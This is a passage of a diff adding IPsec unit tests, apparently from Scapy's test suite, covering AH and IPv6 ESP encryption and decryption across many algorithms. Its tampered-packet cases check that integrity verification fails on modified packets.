+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.ttl = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / AH - Transport - SHA2-512-256 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-512-256', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an AH layer
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e[TCP].dport = 46
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / AH - Transport - HMAC-MD5-96
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='HMAC-MD5-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an AH layer
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.ttl = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / AH - Transport - HMAC-MD5-96 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='HMAC-MD5-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an AH layer
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e[TCP].dport = 46
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / AH - Transport - AES-CMAC-96
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an AH layer
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.ttl = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / AH - Transport - AES-CMAC-96 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an AH layer
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e[TCP].dport = 46
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+###############################################################################
++ IPv4 / AH - Tunnel
+
+#######################################
+= IPv4 / AH - Tunnel - HMAC-SHA1-96
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.ttl = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / AH - Tunnel - HMAC-SHA1-96 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e.dst = '4.4.4.4'
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / AH - Tunnel - SHA2-256-128
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-256-128', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.ttl = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet should be unaltered
+assert(d == p)
+
+#######################################
+= IPv4 / AH - Tunnel - SHA2-256-128 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-256-128', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e.dst = '4.4.4.4'
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / AH - Tunnel - SHA2-384-192
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-384-192', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.ttl = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet should be unaltered
+assert(d == p)
+
+#######################################
+= IPv4 / AH - Tunnel - SHA2-384-192 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-384-192', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e.dst = '4.4.4.4'
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / AH - Tunnel - SHA2-512-256
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-512-256', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.ttl = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet should be unaltered
+assert(d == p)
+
+#######################################
+= IPv4 / AH - Tunnel - SHA2-512-256 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-512-256', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e.dst = '4.4.4.4'
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / AH - Tunnel - HMAC-MD5-96
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='HMAC-MD5-96', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.ttl = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet should be unaltered
+assert(d == p)
+
+#######################################
+= IPv4 / AH - Tunnel - HMAC-MD5-96 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='HMAC-MD5-96', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e.dst = '4.4.4.4'
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / AH - Tunnel - AES-CMAC-96
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.ttl = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet should be unaltered
+assert(d == p)
+
+#######################################
+= IPv4 / AH - Tunnel - AES-CMAC-96 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e.dst = '4.4.4.4'
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+###############################################################################
++ IPv6 / ESP
+
+#######################################
+= IPv6 / ESP - Transport - NULL - NULL
+~ -crypto
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+assert(b'testdata' in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv6 / ESP - Transport - AES-CBC - NULL
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv6 / ESP - Transport - NULL - HMAC-SHA1-96
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+assert(b'testdata' in e[ESP].data)
+
+* integrity verification should pass
+d = sa.decrypt(e)
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv6 / ESP - Transport - NULL - HMAC-SHA1-96 - altered packet
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+assert(b'testdata' in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21')
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv6 / ESP - Transport - AES-CBC - HMAC-SHA1-96
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv6 / ESP - Transport - AES-CBC - HMAC-SHA1-96 - altered packet
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].seq += 1
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv6 / ESP - Transport - AES-GCM - NULL
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption original packet should be preserved
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv6 / ESP - Transport - AES-GCM - NULL - altered packet
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].seq += 1
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv6 / ESP - Transport - AES-CCM - NULL
+~ crypto_advanced
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption original packet should be preserved
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv6 / ESP - Transport - AES-CCM - NULL - altered packet
+~ crypto_advanced
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].seq += 1
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv6 / ESP - Tunnel - NULL - NULL
+~ -crypto
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == 'aa::bb' and e.dst == 'bb::aa')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+assert(b'testdata' in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv6 / ESP - Tunnel - AES-CBC - NULL
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == 'aa::bb' and e.dst == 'bb::aa')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv6 / ESP - Tunnel - NULL - HMAC-SHA1-96
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',
+                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == 'aa::bb' and e.dst == 'bb::aa')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+assert(b'testdata' in e[ESP].data)
+
+* integrity verification should pass
+d = sa.decrypt(e)
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv6 / ESP - Tunnel - NULL - HMAC-SHA1-96 - altered packet
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',
+                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == 'aa::bb' and e.dst == 'bb::aa')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+assert(b'testdata' in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21')
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv6 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',
+                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == 'aa::bb' and e.dst == 'bb::aa')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv6 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 - altered packet
+
